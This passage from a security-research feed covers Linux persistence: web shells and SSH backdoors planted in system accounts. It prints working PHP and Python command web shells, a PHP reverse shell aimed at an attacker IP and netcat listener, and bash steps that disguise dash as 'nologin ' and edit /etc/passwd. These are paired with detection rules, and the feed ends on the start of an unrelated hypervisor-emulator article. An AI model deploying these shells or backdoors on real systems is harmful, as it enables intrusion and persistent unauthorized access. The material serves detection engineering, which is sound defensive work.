upload restrictions, or misconfigurations. Web shells are typically small scripts written in commonly supported languages such as PHP, Python, or Perl. This activity is tracked by MITRE under <a href="https://attack.mitre.org/techniques/T1505/003/">T1505.003</a>.</p> <h3>T1505.003 - Web Shell - PHP & Python</h3> <p>Web shells often integrate seamlessly with web server configurations like <code>Apache</code>, <code>Nginx</code>, or <code>Lighttpd</code>. These scripts can be categorized into two primary types: command execution (CMD) and reverse shell web shells.</p> <p><strong>1. Command shells</strong></p> <p>CMD web shells provide a simple interface to execute system commands through a browser or remote tool. A typical PHP CMD web shell might look like this:</p> <pre><code class="language-php"><?php if (isset($_GET['cmd'])) { echo shell_exec($_GET['cmd']); } ?> </code></pre> <p><strong>2. Reverse shells</strong></p> <p>Reverse shell web shells establish an outbound connection from the compromised server to the attacker’s machine. An example PHP reverse shell:</p> <pre><code class="language-php"><?php $ip = '192.168.1.100'; // Attacker IP $port = 4444; // Attacker Port $socket = fsockopen($ip, $port); exec("/bin/sh -i <&3 >&3 2>&3"); ?> </code></pre> <p>The attacker runs a listener on their machine using <code>Netcat</code> or any other listener. When the shell script is accessed, it connects to the attacker, providing an interactive session.</p> <p><strong>Leveraging the Common Gateway Interface (CGI) for web shells</strong></p> <p>The <a href="https://www.ibm.com/docs/en/i/7.4?topic=functionality-cgi">Common Gateway Interface (CGI)</a> allows web servers to execute external scripts and return their output to clients. Attackers can use CGI scripts to execute commands in various languages, including Python, Bash, and Perl. A Python CGI web shell example:</p> <pre><code class="language-python">#!/usr/bin/env python3 import cgi import os print("Content-type: text/html\n\n") form = cgi.FieldStorage() command = form.getvalue("cmd") if command: output = os.popen(command).read() print(output) </code></pre> <p>CGI scripts offer versatility and can be used in environments where PHP or other web shells might be restricted.</p> <p>Attackers often target web root directories like <code>/var/www/html/</code> to upload their web shells. Weak file upload restrictions or misconfigured permissions allow them to place malicious scripts. To enhance persistence, attackers may:</p> <ul> <li><strong>Embed Web Shells in Existing Files</strong>: Modify legitimate files to include web shell code, making detection more challenging.</li> <li><strong>Use Built-in Web Servers</strong>: Attackers can start a web server in a specific directory to bypass restrictions</li> <li><strong>Leverage Hidden Directories</strong>: To avoid detection, locate web shells in obscure or hidden directories.</li> </ul> <p>Although this type of implementation is also possible for languages other than PHP and Python, they commonly require modules/plugins to be installed, making them a less viable option. The following section will explore detailed examples of these methods and their corresponding detection strategies.</p> <h4>Persistence through T1505.003 - Web Shell: PHP & Python</h4> <p>Let’s examine how PANIX leverages PHP, Python, and CGI to establish web shell backdoors within the <a href="https://github.com/Aegrah/PANIX/blob/ae404d5caf74c772436ccaaa0c3ab51cba8c4250/modules/setup_web_shell.sh">setup_web_shell.sh</a> module. Refer to the module to inspect the full payloads.</p> <p>Depending on permissions, PANIX creates a web server in <code>/var/www/html/</code> (root) or <code>$HOME/</code> (non-root). PHP uses the <code>-S</code> flag to start a lightweight server, with <code>-t</code> specifying the root directory to serve the web shells. For Python, the <code>-m http.server</code> module is combined with <code>--cgi</code> to enable dynamic execution of CGI scripts. If only Python 2 is available, PANIX falls back to <code>-m CGIHTTPServer</code> for compatibility.</p> <p>Servers are launched in the background using <code>nohup</code> to ensure persistence, remaining active even after the user logs out.</p> <p>Let’s look at what traces we can detect within these chains, starting with a PHP CMD shell. To simulate this activity, we can use the following PANIX command:</p> <pre><code class="language-bash">> ./panix.sh --web-shell --language php --mechanism cmd --port 8080 [+] Web server directory created at /home/ruben/panix/ [+] cmd.php file created in /home/ruben/panix/ [+] Interact via: curl http://<ip>:8080/cmd.php?cmd=whoami [!] Starting PHP server on port 8080... [+] PHP server running in the background at port 8080. [!] In case you cannot connect, ensure your firewall settings are allowing inbound traffic on port 8080. Run the following commands in case of issues on RHEL/CentOS systems: sudo firewall-cmd --add-port=8080/tcp --permanent sudo firewall-cmd --reload </code></pre> <p>After execution, we can call the <code>cmd.php</code> through the following <code>curl</code> command:</p> <pre><code class="language-bash">> curl http://192.168.1.100:8080/cmd.php?cmd=whoami ruben </code></pre> <p>Executing the payload generates the following documents in Kibana:</p> <p><img src="https://www.elastic.co/security-labs/assets/images/continuation-on-persistence-mechanisms/image3.png" alt="PANIX web-shell module execution visualized in Kibana (command shell payload)" title="PANIX web-shell module execution visualized in Kibana (command shell payload)" /></p> <p>The figure above shows PANIX being executed and the <code>/home/ruben/panix/</code> directory being created (as PANIX is executed with user privileges). The <code>cmd.php</code> file is created, and the PHP web shell is spawned with the <code>-S</code> flag and listens on all interfaces (<code>0.0.0.0</code>) on port 8080. Upon execution of the <code>curl</code> command from the attack host, we can see a <code>connection_accepted</code>, followed by the execution of the <code>whoami</code> command, followed by a <code>disconnect_received</code>.</p> <p>To simulate reverse shell behavior, we can simulate a Python reverse shell through the following PANIX command:</p> <pre><code class="language-bash">./panix.sh --web-shell --language python --mechanism reverse --port 8080 --rev-port 2018 --ip 192.168.1.100 [+] Web server directory created at /home/ruben/panix/ [+] reverse.py file created in /home/ruben/panix/cgi-bin/ [+] Interact via: curl http://<ip>:8080/cgi-bin/reverse.py [!] Starting Python3 server on port 8080 with CGI enabled... [+] Python3 server running in the background at port 8080. [!] In case you cannot connect, ensure your firewall settings are allowing inbound traffic on port 8080. Run the following commands in case of issues on RHEL/CentOS systems: sudo firewall-cmd --add-port=8080/tcp --permanent sudo firewall-cmd --reload </code></pre> <p>After which, we can communicate with the reverse shell from the attacker machine through the following commands:</p> <pre><code class="language-bash">// Terminal 1 > curl http://192.168.1.100:8080/cgi-bin/reverse.py // Terminal 2 > nc -nvlp 2018 listening on [any] 2018 ... connect to [192.168.211.131] from (UNKNOWN) [192.168.211.151] 47250 > whoami ruben </code></pre> <p>This module generates the following documents:</p> <p><img src="https://www.elastic.co/security-labs/assets/images/continuation-on-persistence-mechanisms/image4.png" alt="PANIX web-shell module execution visualized in Kibana (reverse shell payload)" title="PANIX web-shell module execution visualized in Kibana (reverse shell payload)" /></p> <p>After PANIX executes, we can see <code>/home/ruben/panix/cgi-bin/reverse.py</code> being created and execution permissions being granted. A <code>python3</code> web server with CGI support is spawned. After executing the <code>curl</code> command from the attacker machine, we can see an incoming connection through the <code>connection_accepted</code> event, followed by the execution of the reverse shell command, leading to the call back to the attacker machine through the <code>connection_attempted</code> event. A fully interactive shell is obtained once the attacker catches the reverse connection.</p> <p>You can revert the changes made by PANIX by running the following revert command:</p> <pre><code class="language-bash">> ./panix.sh --revert web-shell ###### [+] Reverting web-shell module... ##### [+] Running as non-root. Reverting web shell for user 'ruben'. [+] Reverting web shell for user 'ruben' at: /home/ruben/panix/ [+] Identifying web server processes serving /home/ruben/panix/... [+] Killed process 11592 serving /home/ruben/panix/. [+] Removed web server directory: /home/ruben/panix/ </code></pre> <p>After which, all artifacts should be cleaned.</p> <p>Let’s take a look at the coverage:</p> <table> <thead> <tr> <th>Category</th> <th>Coverage</th> </tr> </thead> <tbody> <tr> <td>File</td> <td><a href="https://github.com/elastic/protections-artifacts/blob/195c9611ddb90db599d7ffc1a9b0e8c45688007d/behavior/rules/linux/persistence_suspicious_file_creation_via_web_server.toml">Suspicious File Creation via Web Server</a></td> </tr> <tr> <td>Process</td> <td><a href="https://github.com/elastic/protections-artifacts/blob/065efe897b511e9df5116f9f96b6cbabb68bf1e4/behavior/rules/linux/persistence_file_downloaded_from_suspicious_source_by_web_server.toml">File Downloaded from Suspicious Source by Web Server</a></td> </tr> <tr> <td></td> <td><a href="https://github.com/elastic/protections-artifacts/blob/065efe897b511e9df5116f9f96b6cbabb68bf1e4/behavior/rules/linux/persistence_file_downloaded_and_piped_to_interpreter_by_web_server.toml">File Downloaded and Piped to Interpreter by Web Server</a></td> </tr> <tr> <td></td> <td><a href="https://github.com/elastic/protections-artifacts/blob/065efe897b511e9df5116f9f96b6cbabb68bf1e4/behavior/rules/linux/persistence_suspicious_download_and_redirect_by_web_server.toml">Suspicious Download and Redirect by Web Server</a></td> </tr> <tr> <td></td> <td><a href="https://github.com/elastic/detection-rules/blob/2ff2965cb96be49e316a2e928c74afd16e1b3554/rules/linux/execution_python_webserver_spawned.toml">Web Server Spawned via Python</a></td> </tr> <tr> <td></td> <td><a href="https://github.com/elastic/detection-rules/blob/ac541f0b18697e053b3b56544052955d29b440c0/rules/linux/persistence_simple_web_server_creation.toml">Simple HTTP Web Server Creation</a></td> </tr> <tr> <td></td> <td><a href="https://github.com/elastic/detection-rules/blob/2ff2965cb96be49e316a2e928c74afd16e1b3554/rules/linux/persistence_linux_shell_activity_via_web_server.toml">Potential Remote Code Execution via Web Server</a></td> </tr> <tr> <td></td> <td><a href="https://github.com/elastic/protections-artifacts/blob/195c9611ddb90db599d7ffc1a9b0e8c45688007d/behavior/rules/linux/persistence_file_downloaded_to_suspicious_location_by_web_server.toml">File Downloaded to Suspicious Location by Web Server</a></td> </tr> <tr> <td></td> <td><a href="https://github.com/elastic/protections-artifacts/blob/195c9611ddb90db599d7ffc1a9b0e8c45688007d/behavior/rules/linux/persistence_decode_activity_via_web_server.toml">Decode Activity via Web Server</a></td> </tr> <tr> <td></td> <td><a href="https://github.com/elastic/protections-artifacts/blob/195c9611ddb90db599d7ffc1a9b0e8c45688007d/behavior/rules/linux/persistence_unusual_command_executed_by_web_server.toml">Unusual Command Executed by Web Server</a></td> </tr> <tr> <td>Network</td> <td><a href="https://github.com/elastic/protections-artifacts/blob/065efe897b511e9df5116f9f96b6cbabb68bf1e4/behavior/rules/linux/persistence_reverse_shell_executed_via_web_server.toml">Reverse Shell Executed via Web Server</a></td> </tr> <tr> <td></td> <td><a href="https://github.com/elastic/detection-rules/blob/ac541f0b18697e053b3b56544052955d29b440c0/rules/linux/persistence_simple_web_server_connection_accepted.toml">Simple HTTP Web Server Connection</a></td> </tr> <tr> <td><em>Detection and endpoint rules that cover web shell persistence</em></td> <td></td> </tr> </tbody> </table> <h4>Hunting for T1505.003 - Web Shell</h4> <p>We can hunt for this technique using ES|QL and OSQuery by focusing on suspicious file creation events and anomalous network activity commonly associated with web shells. The approach includes monitoring for the following:</p> <ul> <li><strong>Creation or renaming of web shell files:</strong> Tracks files with extensions such as <code>.php</code>, <code>.py</code>, <code>.pl</code>, <code>.rb</code>, <code>.lua</code>, and <code>.jsp</code> in unexpected or uncommon locations, which may indicate the deployment of a web shell.</li> <li><strong>Anomalous network activity by scripting engines:</strong> Observes disconnect events and unusual connections initiated by processes like <code>python</code>, <code>php</code>, or <code>perl</code>, particularly connections to external IP addresses.</li> <li><strong>Low-frequency external connections:</strong> Detects rare or low-volume network connections from processes, especially those initiated by root or unique agents, which can indicate malicious web shell activity.</li> </ul> <p>By combining the <a href="https://github.com/elastic/detection-rules/blob/ac541f0b18697e053b3b56544052955d29b440c0/hunting/linux/docs/persistence_via_web_shell.md">Persistence via Web Shell</a>, <a href="https://github.com/elastic/detection-rules/blob/ac541f0b18697e053b3b56544052955d29b440c0/hunting/linux/docs/persistence_reverse_bind_shells.md">Persistence Through Reverse/Bind Shells</a>, and <a href="https://github.com/elastic/detection-rules/blob/ac541f0b18697e053b3b56544052955d29b440c0/hunting/linux/docs/low_volume_external_network_connections_from_process.md">Low Volume External Network Connections from Process by Unique Agent</a> hunting rules with the tailored detection queries listed above, analysts can effectively detect and respond to <a href="https://attack.mitre.org/techniques/T1505/003/">T1505.003</a>.</p> <h2>T1098.004 - Account Manipulation: SSH Authorized Keys</h2> <p>SSH's <code>authorized_keys</code> feature is a common target for attackers aiming to establish persistent access to compromised Linux systems. By placing their public keys in the <code>authorized_keys</code> file, attackers can gain access without requiring further authentication if the private key is in their possession. This mechanism is controlled by files like <code>.ssh/authorized_keys</code> or <code>.ssh/authorized_keys2</code>, typically in the user’s home directory. While this persistence method is well-documented, we explored its nuances in detail in <a href="https://www.elastic.co/security-labs/primer-on-persistence-mechanisms#t1098004---account-manipulation-ssh">a previous article</a>.</p> <p>In this section, we will focus on a less conventional but intriguing variation of this technique: abusing system accounts that by default are rarely used and have default configurations. This approach leverages the default home directories of these users to create <code>.ssh</code> directories and insert <code>authorized_keys</code> files, enabling SSH-based persistence under these accounts. <a href="https://blog.exatrack.com/Perfctl-using-portainer-and-new-persistences/">Exatrack’s research</a> on a new variant of the <code>perfctl</code> malware recently explored this technique. Although this specific variation of the authorized keys persistence technique is not tracked by MITRE, the overall persistence technique is tracked under <a href="https://attack.mitre.org/techniques/T1098/004/">T1098.004</a>.</p> <h3>T1098.004 - SSH Authorized Keys: System User Backdoors</h3> <p>System accounts like <code>news</code> or <code>nobody</code> often exist on default Linux installations with non-interactive shells (e.g., <code>/usr/sbin/nologin</code>) and predefined home directories. These accounts, typically overlooked and not intended for direct login, can become attractive targets for attackers. We can observe their configurations in the <code>/etc/passwd</code> file:</p> <pre><code class="language-bash">> cat /etc/passwd root:x:0:0:root:/root:/bin/bash mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin </code></pre> <p>As we can see, the root user's home directory is <code>/root/</code>, while system users like <code>news</code>, <code>backup</code>, and <code>nobody</code> also have default home directories, such as <code>/var/spool/news/</code> and <code>/nonexistent/</code>. The default shell for root is <code>/bin/bash</code>, whereas system users are restricted by <code>/usr/sbin/nologin</code>.</p> <p>Although system users are intended to be non-interactive, attackers can exploit their configurations by creating <code>.ssh</code> directories in their home directories and adding <code>authorized_keys</code> files for SSH-based authentication. By manipulating the <code>/etc/passwd</code> file and shell configuration, attackers can bypass restrictions imposed by <code>/usr/sbin/nologin</code> and gain access. The next section will explore this technique in detail, including the steps attackers use to execute it.</p> <h4>Persistence through T1098.004 - SSH Authorized Keys: Backdoored System Users</h4> <p>Let’s examine how the PANIX <a href="https://github.com/Aegrah/PANIX/blob/7d5bb3892a79fd23d485c3ed82b8fefc81f178e0/modules/setup_backdoor_system_user.sh">setup_backdoor_system_user.sh</a> module abuses this trick to leverage non-interactive system accounts to gain SSH access onto a target without creating a new user. Refer to the module to inspect the full payloads.</p> <p>The first step is to identify a system user as the target for the attack. For example, as we know:</p> <ul> <li>The <code>news</code> user has <code>/var/spool/news/</code> as its home directory.</li> <li>The <code>nobody</code> user has <code>/nonexistent/</code> by default (which can be created).</li> </ul> <p>The next step is to create the <code>.ssh</code> directory within the home directory and writes the attacker’s public key to the <code>authorized_keys</code> file, and ensure the correct file permissions:</p> <pre><code class="language-bash"># Create the .ssh directory mkdir -p "$home_dir/.ssh" chmod 755 "$home_dir/.ssh" # Set directory permissions to be accessible by others # Write the public key to authorized_keys echo "$key" > "$home_dir/.ssh/authorized_keys" chmod 644 "$home_dir/.ssh/authorized_keys" # Set file permissions to be readable by others </code></pre> <p>This step ensures that the attacker can authenticate via SSH using their private key. The next step is to modify the shell. By default, system users like <code>news</code> and <code>nobody</code> are configured with <code>/usr/sbin/nologin</code> as their shell, which prevents interactive login sessions. We need to circumvent this restriction by:</p> <ol> <li>Copying (for example) <code>/bin/dash</code> to <code>/usr/sbin/nologin</code> (with a trailing space).</li> <li>Updating <code>/etc/passwd</code> to include the modified shell path.</li> </ol> <pre><code class="language-bash"># Copy /bin/dash to '/usr/sbin/nologin ' cp /bin/dash "/usr/sbin/nologin " # Modify /etc/passwd to include the trailing space in the shell path local username=$(echo "$user_entry" | cut -d: -f1) sed -i "/^$username:/s|:/usr/sbin/nologin$|:/usr/sbin/nologin |" /etc/passwd </code></pre> <p>Where the local username variable can be set to any system user. This subtle manipulation tricks the system into treating <code>/usr/sbin/nologin </code>(with a trailing space) as a valid shell.</p> <p>Finally, to ensure SSH accepts the modified shell as valid, we need to add <code>nologin </code>(with a trailing space) to <code>/etc/shells</code>:</p> <pre><code class="language-bash"># Check and add "nologin " to /etc/shells if not already present if ! grep -q "nologin " /etc/shells; then echo "nologin " >> /etc/shells echo "[+] Added 'nologin ' to /etc/shells" else echo "[+] 'nologin ' already exists in /etc/shells. Skipping." fi </code></pre> <p>This step ensures SSH does not reject login attempts due to the manipulated shell. Now that we understand the flow, let’s run the module.</p> <pre><code class="language-bash">> sudo ./panix.sh --backdoor-system-user --default --key <ssh-rsa public key> [+] Added 'nologin ' to /etc/shells [+] Copied /bin/dash to '/usr/sbin/nologin ' [+] Modified /etc/passwd to update shell path for user: news [+] System user backdoor persistence established for user: news </code></pre> <p>After which we can log in to the system via SSH with the <code>news</code> user:</p> <pre><code class="language-bash">> ssh news@192.168.31.129 Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-130-generic x86_64) </code></pre> <p>And analyze this technique’s traces in Discover:</p> <p><img src="https://www.elastic.co/security-labs/assets/images/continuation-on-persistence-mechanisms/image1.png" alt="PANIX backdoor-system-user module execution visualized in Kibana" title="PANIX backdoor-system-user module execution visualized in Kibana" /></p> <p>Upon PANIX execution, the <code>/var/spool/news/.ssh/</code> directory and <code>authorized_keys</code> files are created and granted the correct permissions (<code>755</code> and <code>644</code> respectively). Next, the <code>/usr/sbin/nologin</code> (with trailing space) file is created, and the <code>/etc/passwd</code> and <code>/etc/shells</code> files are modified. Upon completion, the <code>news</code> user is able to authenticate via SSH, with an interactive shell.</p> <p>You can revert the changes made by PANIX by running the following revert command:</p> <pre><code class="language-bash">> sudo ./panix.sh --revert backdoor-system-user ###### [+] Reverting backdoor-system-user module... ##### [+] Removing .ssh directory for user: news [+] Successfully removed .ssh directory for news. [+] Reverting /etc/passwd entry for user: news [+] Successfully reverted /etc/passwd entry for news. [+] Removing '/usr/sbin/nologin ' [+] Successfully removed '/usr/sbin/nologin '. [+] Reverting /etc/shells to remove 'nologin ' entry. [+] Successfully removed 'nologin ' from /etc/shells. </code></pre> <p>After which all artifacts should be cleaned.</p> <p>There are several detection- and endpoint rules set up to detect different parts of this technique:</p> <table> <thead> <tr> <th>Category</th> <th>Coverage</th> </tr> </thead> <tbody> <tr> <td>IAM</td> <td><a href="https://github.com/elastic/detection-rules/blob/ac541f0b18697e053b3b56544052955d29b440c0/rules/linux/persistence_ssh_via_backdoored_system_user.toml">Login via Unusual System User</a></td> </tr> <tr> <td>Process</td> <td><a href="https://github.com/elastic/detection-rules/blob/ac541f0b18697e053b3b56544052955d29b440c0/rules/linux/defense_evasion_interactive_shell_from_system_user.toml">Unusual Interactive Shell Launched from System User</a></td> </tr> <tr> <td></td> <td><a href="https://github.com/elastic/protections-artifacts/blob/195c9611ddb90db599d7ffc1a9b0e8c45688007d/behavior/rules/linux/defense_evasion_potential_nologin_ssh_backdoor.toml">Potential Nologin SSH Backdoor</a></td> </tr> <tr> <td></td> <td><a href="https://github.com/elastic/detection-rules/blob/ac541f0b18697e053b3b56544052955d29b440c0/rules/cross-platform/defense_evasion_masquerading_space_after_filename.toml">Masquerading Space After Filename</a></td> </tr> <tr> <td><em>Detection and endpoint rules that cover backdoored system user persistence</em></td> <td></td> </tr> </tbody> </table> <h4>Hunting for T1098.004 - SSH Authorized Keys: Backdoored System Users</h4> <p>We can hunt for this technique using ES|QL and OSQuery by focusing on identifying unauthorized SSH key additions, tampered system files, and unusual activity involving system users such as <code>news</code> or <code>nobody</code>. The following key areas are effective for detection:</p> <ul> <li><strong>Suspicious SSH Key Modifications</strong>: Monitors for changes to <code>.ssh</code> directories and <code>authorized_keys</code> files in unexpected locations, such as <code>/var/spool/news/.ssh/</code> or <code>/nonexistent/.ssh/</code>.</li> <li><strong>Unusual File Changes</strong>: Identifies modifications to SSH-related files and directories, tracking ownership and access patterns.</li> <li><strong>Interactive Process Activity</strong>: Detects rare interactive sessions initiated by system accounts that typically lack login access.</li> <li><strong>System File Tampering</strong>: Flags modifications to <code>/etc/passwd</code> and <code>/etc/shells</code>, including unusual shell paths or additions of invalid entries like <code>nologin </code>.</li> </ul> <p>By leveraging the <a href="https://github.com/elastic/detection-rules/blob/ac541f0b18697e053b3b56544052955d29b440c0/hunting/linux/docs/persistence_via_ssh_configurations_and_keys.md">Persistence via SSH Configurations and/or Keys</a> hunt, analysts can uncover unauthorized persistence mechanisms, investigate potential abuse of system accounts, and respond effectively to these threats.</p> <h2>Conclusion</h2> <p>In this third chapter of the "Linux Detection Engineering" series, we explored various persistence techniques adversaries might leverage on Linux systems. Starting with dynamic linker hijacking, we demonstrated how manipulation of the dynamic linker through <code>LD_PRELOAD</code> can be abused for persistence. We then looked into loadable kernel modules (LKMs), a powerful feature that allows attackers to embed malicious code directly into the kernel, offering deep system control and persistence. We then explored the threat web shells pose, which enable scripting-based persistence and remote access, making them a significant risk in web-exposed environments. Finally, we analyzed the exploitation of default system users with non-interactive shells, revealing how attackers can leverage these often-overlooked accounts to establish persistence without creating new user entries.</p> <p>These techniques underscore the ingenuity and variety of methods adversaries can employ to persist on Linux systems. You can build robust defenses and fine-tune your detection strategies by leveraging <a href="https://github.com/Aegrah/PANIX">PANIX</a> to simulate these attacks and using the tailored ES|QL and OSQuery detection queries provided.</p> ]]></content:encoded> <enclosure url="https://www.elastic.co/security-labs/assets/images/continuation-on-persistence-mechanisms/continuation-on-persistence-mechanisms.jpg" length="0" type="image/jpg"/> </item> <item> <title><![CDATA[WinVisor – A hypervisor-based emulator for Windows x64 user-mode executables]]></title> <link>https://www.elastic.co/security-labs/winvisor-hypervisor-based-emulator</link> <guid>winvisor-hypervisor-based-emulator</guid> <pubDate>Fri, 24 Jan 2025 00:00:00 GMT</pubDate> <description><![CDATA[WinVisor is a hypervisor-based emulator for Windows x64 user-mode executables that leverages the Windows Hypervisor Platform API to provide a virtualized environment for logging syscalls and enabling memory introspection.]]></description> <content:encoded><![CDATA[<h2>Background</h2> <p>In Windows 10 (version RS4), Microsoft introduced the <a href="https://learn.microsoft.com/en-us/virtualization/api/hypervisor-platform/hypervisor-platform">Windows Hypervisor Platform</a> (WHP) API. This API exposes Microsoft's built-in hypervisor functionality to user-mode Windows applications. In 2024, the author used this API to create a personal project: a 16-bit MS-DOS emulator called <a href="https://github.com/x86matthew/DOSVisor">DOSVisor</a>. As mentioned in the release notes, there have always been plans to take this concept further and use it to emulate Windows applications. Elastic provides a research week (ON Week) twice per year for staff to work on personal projects, providing a great opportunity to begin working on this project. This project will be (unimaginatively) named WinVisor, inspired by its DOSVisor predecessor.</p> <p>Hypervisors provide hardware-level virtualization, eliminating the need to emulate the CPU via software. This ensures that instructions are executed exactly as they would be on a physical CPU, whereas software-based emulators often behave inconsistently in edge cases.</p> <p>This project aims to build a virtual environment for executing Windows x64 binaries, allowing syscalls to be logged (or hooked) and enabling memory introspection. The goal of this project is not to build a comprehensive and secure sandbox - by default, all syscalls will simply be logged and forwarded directly to the host. In its initial form, it will be trivial for code running within the virtualized guest to "escape" to the host. Safely securing a sandbox is a difficult task, and is beyond the scope of this project. The limitations will be described in further detail at the end of the article.</p> <p>Despite having been available for 6 years (at the time of writing), it seems that the WHP API hasn’t been used in many public projects other than complex codebases such as <a href="https://github.com/qemu/qemu">QEMU</a> and <a href="https://www.virtualbox.org/">VirtualBox</a>. One other notable project is Alex Ionescu's <a href="https://github.com/ionescu007/Simpleator">Simpleator</a> - a lightweight Windows user-mode emulator that also utilizes the WHP API. This project has many of the same goals as WinVisor, although the approach for implementation is quite different. The WinVisor project aims to automate as much as possible and support simple executables (e.g. <code>ping.exe</code>) universally out of the box.</p> <p>This article will cover the general design of the project, some of the issues that were encountered, and how they were worked through. Some features will be limited due to development time constraints, but the final product will at least be a usable proof-of-concept. Links to the source code and binaries hosted on GitHub will be provided at the end of the article.</p> <h3>Hypervisor basics</h3> <p>Hypervisors are powered by VT-x (Intel) and AMD-V (AMD) extensions. These hardware-assisted frameworks enable virtualization by allowing one or more virtual machines to run on a single physical CPU. These extensions use different instruction sets and, therefore, are not inherently compatible with each other; separate code must be written for each.</p> <p>Internally, Hyper-V uses <code>hvix64.exe</code> for Intel support and <code>hvax64.exe</code> for AMD support. Microsoft's WHP API abstracts these hardware differences, allowing applications to create and manage virtual partitions regardless of the underlying CPU type. For simplicity, the following explanation will focus solely on VT-x.</p> <p>VT-x adds an additional set of instructions known as VMX (Virtual Machine Extensions), containing instructions such as <code>VMLAUNCH</code>, which begins the execution of a VM for the first time, and <code>VMRESUME</code>, which re-enters the VM after a VM exit. A VM exit occurs when certain conditions are triggered by the guest, such as specific instructions, I/O port access, page faults, and other exceptions.</p> <p>Central to VMX is the Virtual Machine Control Structure (VMCS), a per-VM data structure that stores the state of the guest and host contexts as well as information about the execution environment. The VMCS contains fields that define processor state, control configurations, and optional conditions that trigger transitions from the guest back to the host. VMCS fields can be read or written to using the <code>VMREAD</code> and <code>VMWRITE</code> instructions.</p> <p>During a VM exit, the processor saves the guest state in the VMCS and transitions back to the host state for hypervisor intervention.</p> <h2>WinVisor overview</h2> <p>This project takes advantage of the high-level nature of the WHP API. The API exposes hypervisor functionality to user-mode and allows applications to map virtual memory from the host process directly into the guest's physical memory.</p> <p>The virtual CPU operates almost exclusively in CPL3 (user-mode), except for a small bootloader that runs at CPL0 (kernel-mode) to initialize the CPU state before execution. This will be described in further detail in the Virtual CPU section.</p> <p>Building up the memory space for an emulated guest environment involves mapping the target executable and all DLL dependencies, followed by populating other internal data structures such as the Process Environment Block (PEB), Thread Environment Block (TEB), <code>KUSER_SHARED_DATA</code>, etc.</p> <p>Mapping the EXE and DLL dependencies is straightforward, but accurately maintaining internal structures, such as the PEB, is a more complex task. These structures are large, mostly undocumented, and their contents can vary between Windows versions. It would be relatively simple to populate a minimalist set of fields to execute a simple "Hello World" application, but an improved approach should be taken to provide good compatibility.</p> <p>Instead of manually building up a virtual environment, WinVisor launches a suspended instance of the target process and clones the entire address space into the guest. The Import Address Table (IAT) and Thread Local Storage (TLS) data directories are temporarily removed from the PE headers in memory to stop DLL dependencies from loading and to prevent TLS callbacks from executing before reaching the entry point. The process is then resumed, allowing the usual process initialization to continue (<code>LdrpInitializeProcess</code>) until it reaches the entry point of the target executable, at which point the hypervisor launches and takes control. This essentially means that Windows has done all of the hard work for us, and we now have a pre-populated user-mode address space for the target executable that is ready for execution.</p> <p>A new thread is then created in a suspended state, with the start address pointing to the address of a custom loader function. This function populates the IAT, executes TLS callbacks, and finally executes the original entry point of the target application. This essentially simulates what the main thread would do if the process were being executed natively. The context of this thread is then "cloned" into the virtual CPU, and execution begins under the control of the hypervisor.</p> <p>Memory is paged into the guest as necessary, and syscalls are intercepted, logged, and forwarded to the host OS until the virtualized target process exits.</p> <p>As the WHP API only allows memory from the current process to be mapped into the guest, the main hypervisor logic is encapsulated within a DLL that gets injected into the target process.</p> <h2>Virtual CPU</h2> <p>The WHP API provides a "friendly" wrapper around the VMX functionality described earlier, meaning that the usual steps, such as manually populating the VMCS before executing <code>VMLAUNCH</code>, are no longer necessary. It also exposes the functionality to user-mode, meaning a custom driver is not required. However, the virtual CPU must still be initialized appropriately via WHP prior to executing the target code. The important aspects will be described below.</p> <h3>Control registers</h3> <p>Only the <code>CR0</code>, <code>CR3</code>, and <code>CR4</code> control registers are relevant for this project. <code>CR0</code> and <code>CR4</code> are used to enable CPU configuration options such as protected mode, paging, and PAE. <code>CR3</code> contains the physical address of the <code>PML4</code> paging table, which will be described in further detail in the Memory Paging section.</p> <h3>Model-specific registers</h3> <p>Model-Specific Registers (MSRs) must also be initialized to ensure the correct operation of the virtual CPU. <code>MSR_EFER</code> contains flags for extended features, such as enabling long mode (64-bit) and <code>SYSCALL</code> instructions. <code>MSR_LSTAR</code> contains the address of the syscall handler, and <code>MSR_STAR</code> contains the segment selectors for transitioning to CPL0 (and back to CPL3) during syscalls. <code>MSR_KERNEL_GS_BASE</code> contains the shadow base address of the <code>GS</code> selector.</p> <h3>Global descriptor table</h3> <p>The Global Descriptor Table (GDT) defines the segment descriptors, which essentially describe memory regions and their properties for use in protected mode.</p> <p>In long mode, the GDT has limited use and is mostly a relic of the past - x64 always operates in a flat memory mode, meaning all selectors are based at <code>0</code>. The only exceptions to this are the <code>FS</code> and <code>GS</code> registers, which are used for thread-specific purposes. Even in those cases, their base addresses are not defined by the GDT. Instead, MSRs (such as <code>MSR_KERNEL_GS_BASE</code> described above) are used to store the base address.</p> <p>Despite this obsolescence, the GDT is still an important part of the x64 model. For example, the current privilege level is defined by the <code>CS</code> (Code Segment) selector.</p> <h3>Task state segment</h3> <p>In long mode, the Task State Segment (TSS) is simply used to load the stack pointer when transitioning from a lower privilege level to a higher one. As this emulator operates almost exclusively in CPL3, except for the initial bootloader and interrupt handlers, only a single page is allocated for the CPL0 stack. The TSS is stored as a special system entry within the GDT and occupies two slots.</p> <h3>Interrupt descriptor table</h3> <p>The Interrupt Descriptor Table (IDT) contains information about each type of interrupt, such as the handler addresses. This will be described in further detail in the Interrupt Handling section.</p> <h3>Bootloader</h3> <p>Most of the CPU fields mentioned above can be initialized using WHP wrapper functions, but support for certain fields (e.g. <code>XCR0</code>) only arrived in later versions of the WHP API (Windows 10 RS5). For completeness, the project includes a small “bootloader”, which runs at CPL0 upon startup and manually initializes the final parts of the CPU prior to executing the target code. Unlike a physical CPU, which would start in 16-bit real mode, the virtual CPU has already been initialized to run in long-mode (64-bit), making the boot process slightly more straightforward.</p> <p>The following steps are performed by the bootloader:</p> <ol> <li> <p>Load the GDT using the <code>LGDT</code> instruction. The source operand for this instruction specifies a 10-byte memory block which contains the base address and limit (size) of the table that was populated earlier.</p> </li> <li> <p>Load the IDT using the <code>LIDT</code> instruction. The source operand for this instruction uses the same format as LGDT described above.</p> </li> <li> <p>Set the TSS selector index into the task register using the <code>LTR</code> instruction. As mentioned above, the TSS descriptor exists as a special entry within the GDT (at <code>0x40</code> in this case).</p> </li> <li> <p>The XCR0 register can be set using the <code>XSETBV</code> instruction. This is an additional control register which is used for optional features such as AVX. The native process executes XGETBV to get the host value, which is then copied into the guest via <code>XSETBV</code> in the bootloader.</p> </li> </ol> <p>This is an important step because DLL dependencies that have already 